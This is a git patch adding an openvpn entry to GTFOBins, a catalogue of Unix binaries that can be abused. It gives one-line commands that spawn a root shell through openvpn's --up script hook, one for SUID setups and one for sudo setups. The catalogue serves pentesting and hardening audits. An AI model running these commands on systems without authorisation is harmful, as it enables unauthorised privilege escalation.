From ad35aaa5d83a7b4635f980f7bee99b2acebfd0b8 Mon Sep 17 00:00:00 2001 From: Emanuel Duss Date: Sat, 20 Feb 2021 00:33:43 +0100 Subject: [PATCH] Add openvpn --- _gtfobins/openvpn.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/openvpn.md diff --git a/_gtfobins/openvpn.md b/_gtfobins/openvpn.md new file mode 100644 index 0000000..dea76b6 --- /dev/null +++ b/_gtfobins/openvpn.md @@ -0,0 +1,10 @@ +--- +functions: + suid: + - code: | + ./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"' + sudo: + - code: | + COMMAND='id' + sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh' +---